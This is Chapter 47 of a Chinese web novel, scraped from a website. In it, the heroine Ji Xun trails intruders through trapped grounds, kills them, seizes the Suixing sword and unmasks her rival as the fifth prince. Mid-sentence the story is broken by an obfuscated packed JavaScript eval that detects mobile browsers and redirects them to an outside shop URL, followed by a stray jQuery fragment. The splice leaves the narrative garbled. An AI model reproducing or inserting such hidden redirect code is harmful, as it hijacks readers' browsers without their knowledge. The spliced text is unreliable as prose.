47. 识破
作品:《被迫嫁给病弱太子后》 晚秋的风有些凉,姬浔保持不远不近的距离,看着那些人来到后山,她便有了不好的预感。
后山有什么值得他们大费周章?
那当然是存放的碎星剑。
可那把剑不是放在七司镜保管的地方吗?
想到这里,姬浔突然觉得自己好像发现什么不得了的大秘密。
她笑起来,随着风摇曳,莫名灵动。
可惜周身的气息很冷。
不管这些人想要做什么,身为碎星剑的主人,姬浔觉得她必须要往后山走一趟。
脚步刚落下,便看见把守在后山的守卫全都昏昏欲睡倒在地下,姬浔从他们身旁走过,没管。
夜晚的树林很黑,层层交叠下的月光所剩不几,好在习武的眼睛还算清亮,不至于让她什么都看不清。
就这样警惕的走了不知道多久,她突然发现前方的打斗声。
少女定睛一瞧,发现是这里的机关动了。
四面八方而来的箭朝向他们,一发又一发,好似永远都没有尽头。
这些黑衣人虽然一开始反应不及,可在清楚之后立马有所动作,几个人互相合力,竟然把这机关给破了。
他们的身影继续往里面走,一直到消失不见姬浔才从树林中走出来,绣花鞋踩在刚刚被打下来的箭上,断了两半的箭立马又四分五裂,就如同挠痒痒般,没什么杀伤力。
她继续往前走,眼睛一直看着前方,很快融入夜色。
而在她的身后,一抹出尘的身影出现,少年脸上戴着银色的面具,在这冰冷的月光下泛着幽幽寒光。
他的步伐落在被毁坏的机关上,伸手摸了一下,又很快随意的收回。
看起来对这些毁坏的东西没感觉到一丁点的心疼。
姬浔跟着那些黑衣人闯过各种各样的机关,每回这些机关都出其不意,以意想不到的方式出现在他们身边。
种类繁多,却都有一个共同的点,那就是伤害力大。
姬浔轻轻扫了几眼,漫不经心掀起眼皮,对这些机关没感觉到危险。
以她一个人自然能轻松闯过。
可坏就坏在,她并不需要去闯,就有人在前方为她试路。
等他们躲避完危险,她在平安的走过他们走过的路。
眼看前方快到后山的中心,姬浔依旧不慌,少女的衣裙虽然有些凌乱,可若仔细看,便能发现上面一点损坏都没有。
她的出现,她的来到,仿佛只是夜晚睡不着过来欣赏风景散步的。
倒是前方那些人才会有一点干坏事的样子。
不知道闯了多少机关,又毁坏了多少,这些人多少身上带了一点伤,全都不负一开始般光鲜亮丽。
可当他们看见自己想要的东西就近在咫尺,忽然觉得受到的这些伤害不算什么。
姬浔见他们停下一直看着前方,不由得顺着他们的视线看过去,也发现了前方的景象。
那是一处吊桥,大地不知何时在这里裂出了一个大口,连接桥头与对岸只有一座吊桥。
材质看起来是木桥,在夜风中摇摇晃晃,一看就很不安全。
这个时候只要不是傻子,就不会走在木桥上。
木桥的对岸中间有一个圆柱台子,在它的上方插着一把剑,冷风肃穆,威严无比。
虽然距离很远,可姬浔还是一眼就认出这是自己的那把,绝对假不了。
站在崖边的几位黑衣人自然也看见了那屹立在石头中间的碎星剑,脸上瞬间露出贪婪的表情。
他们想也不想,直接运用轻功,想直接飞过去。
可惜脚步刚一腾空,熟悉的感觉来临,他们便看见脚下不知何时,突然出现数不清的箭失。
这些人想过可能会有危险,再不济还是之前那些机关,这些人猜对了,可他们却从未想过会从自己脚下出现。
他们本就在半空之中,这里除了摇摇晃晃的木桥之外,再无其他支撑点。
危险的信号蔓延,没办法,他们一窝蜂的全都跑向木桥,若是不拼,他们早晚会被捅成马蜂窝。
至少拼一拼,还能拼出一个活路。
四五个脚步落在木桥上,让本就摇摇晃晃的木桥晃动的更加剧烈。
“咔嚓”一声,不知是谁那里的木板碎裂,一名黑衣人没站稳,直接从木桥的缝隙掉下去。
“啊!”
尖叫声回荡在四周,分不清是从哪里出现的,这道声音响了许久才慢慢停下。
想也不用想,他的结局是什么。
有了他的开头,剩余的几人全都面色惊恐,他们安静站在原地,不敢乱动,生怕下一个木板开裂,失去性命的是自己。
他们这会儿哪里还顾的自己来到任务,全都在想办法往回去的路走。
虽然说木桥不安全,可至少还有办法走。
他们要是离开了木桥,分分钟被射成筛子。
那名最靠近山崖边的黑衣人最先迈出脚步,就在他成功踏出第一步时,一支长箭破空而出,精准无误刺进他的胸膛。
黑衣人站立不稳,失了重心,掉下悬崖。
在他身后的人见状,一开始以为又是哪里的机关,纷纷让身后的人小心。
其中有一个人似乎猜到了什么,面色惊恐,捂嘴说道:“这好像是在警告,警告我们没有完成任务不能回去。”
其余人一听,原本因为恐惧而忘掉的事情终于想起。
这些人全部都咽了咽唾沫,站在原地再无第二个动作。
姬浔隔着远远的目光注视着他们的一举一动,看着他们准备轻功过去,又因为从下方而来的箭,无奈来到木桥。
见证一个人掉下去,一个人被箭射死。
有了这两个警告,剩下的几人没有人敢第一个有动作。
意识到这一点,她便不准备再等了。
姬浔觉得自己好像知道了一切。
那么这些人便没有任何利用价值。
少女抬手就要对那几人下手,比她动作更快的是那几位黑衣人动了。
他们的方向并不是回到这边,而是继续往前前进,目标就是中间的碎星剑。
姬浔见此,缓缓勾了勾唇角,瞄准他们,手中突然出现几把飞刀,它们踏着风声,迅速来到他们身前。
只能听见几道破空声,几人还没有过去就已经倒在了木桥上。
木桥承受不了他们巨大的声响,本就摇摇欲坠的木桥绳索崩开,从中间四分五裂塌了。
倒在上面的几个尸体也全部都随着木桥的坍塌,掉入深不见底的悬崖。
姬浔从黑暗中走出,站在一开始黑衣人站在的地方,居高临下,俯视着深不见底的悬崖。
看了一秒,她淡淡收回视线,运用轻功腾空而起,下一秒,无数箭矢从下方出现,少女不见半分慌乱,甚至还用它们的力让自己前进,不至于在躲避箭的时候掉下来。
箭雨这关被她轻松过来,姬浔却没有立刻放松警惕,她相信不会这么的轻松。
果不其然,脚步才刚刚落地,地面像是启动了某种机关,倒刺横起。
姬浔快速离开地面,直奔放置碎星剑的地方,因为她发现除了这里,其他地方全都有这些机关。
同时她也明白,这里就是武林大会的场地。
可惜经过这次的破坏,看来是要办不成了。
姬浔眼中没有多少失落感,她看向插在此处屹立不倒的碎星剑,毫不犹豫拔出。
拔出的下一瞬间,地面瞬间发出晃动,开始摇摇欲坠。
姬浔低头一看,明白这里是触动了某种机关,开始了自毁模式。
简单来说就是,镇守在这里的碎星剑离开,那么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050262|188842||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这处出为它而存在的地方也不复存在。
回去的路要比过来顺便,少女手握碎星剑,轻松落地。
再次抬起头,她的面前出现一个人影。
那人影从夜色中出现,不由分说对她出手,姬浔还没有看见他的身影,他便已经来到自己面前。
闪烁着凶狠寒光的剑就要刺向她,姬浔反手提前挡住,巨大的惯力让她的身子往后退。
少女余光看了一眼,她的身后就是万丈高崖。
此刻距离她的绣花鞋也只不过近在咫尺。
她要是再往后推一点就要掉下去。
这一点不只是她注意到了,那位对他动手的人也注意到了。
两人彼此之间没什么反应,姬浔像是不清楚自己的处境,直接运用内力强势逼去。
同时身形往旁边一侧,瞬间转换了一个方向。
也让局势成功逆转。
至少可以让她后患无忧。
向她冲过来的少年显然没有意识到她这一个举动,两人交手之际,就这样用力冲过去,以为能把对方逼下悬崖。
谁曾想,反而是自己快要掉下去。
在身影就要掉下去的最后一刻,姬浔眼疾手快抓住他一只手,少年被她这个动作一愣,似乎没有想到她会在最后关头救他。
也没有想到,必赢的局面会是这样的下场。
他轻嗤一声嘲笑自己。
真是在做白日梦。
居然还妄想得到碎星剑。
不等他继续往下想,一道凉薄的声音自他上方响起,“七司镜少主,许久没见,没想到会是以这种方式再见面。”
姬浔看见他出现的第一秒,就明白了所有的事情。
二人的恩怨是在四年前那一场武林大会,他输给了自己。
年少轻狂,他觉得不服气,所以想报复回来。
于是便有了这一次。
无渡对她的反应并不意外,也并没有打算向她求饶,只是冷冷说道:“要杀要剐,悉听尊便。”
再往下便没有任何反应。
姬浔倒是一点都不着急,她半蹲下身子,仔细打量着他,微微用剑挑起他的下巴,让他与自己对视。
“你就不想活吗,求求我,我让你活下来怎么样?”
无渡脸色仿佛融进了冰中,整个人透露出让人不想接近的寒冷,他冷着脸,蹦出二字:“不想。”
姬浔对于他这个回答也没有生气,他本就做好了这样的打算,所以不管她用什么办法,他都不会说的。
见此,姬浔打算用强的。
她伸手取下戴在少年眼上的面具,她想知道被藏起来的那面容长什么样子。
银色冰冷材质的面具被取下,透露出少年完整的面容,恰逢月光拂过,让他的脸庞更加的清晰,添加了一点月色中的柔美。
那是一张很稚嫩的脸庞,棱角分明,眼眸清亮干净,年龄看起来不过十六七岁,身上一贯穿着他喜欢的绯色,带着一丝的少年气。
姬浔看清楚他的样子,有一瞬间的愣住。
很快,她又恢复了往常的神色,在月色下透露出一种清冷感。
无渡看着她,哪怕自己的身份暴露,也没什么太大的情绪起伏。
毕竟他现在可是要死了。
死人之后的事情,他没必要去管。
姬浔盯着他神色,晦暗不明,淡淡说道:“五皇弟真是深藏不露,看来替父皇送东西是假,想趁机拿碎星剑是真。”
“一开始我没把这两个人当一回事,只以为他们不是同一个人,现在看来是我失算了。”
她的语气有一丝的懊悔,神色却未变丝毫。
无渡也不在意,只是一直维持这样的姿势,让他呼吸有些不自然的加重,温热的气息吐出,他没什么温度道:“我叫应弦,字无渡。”

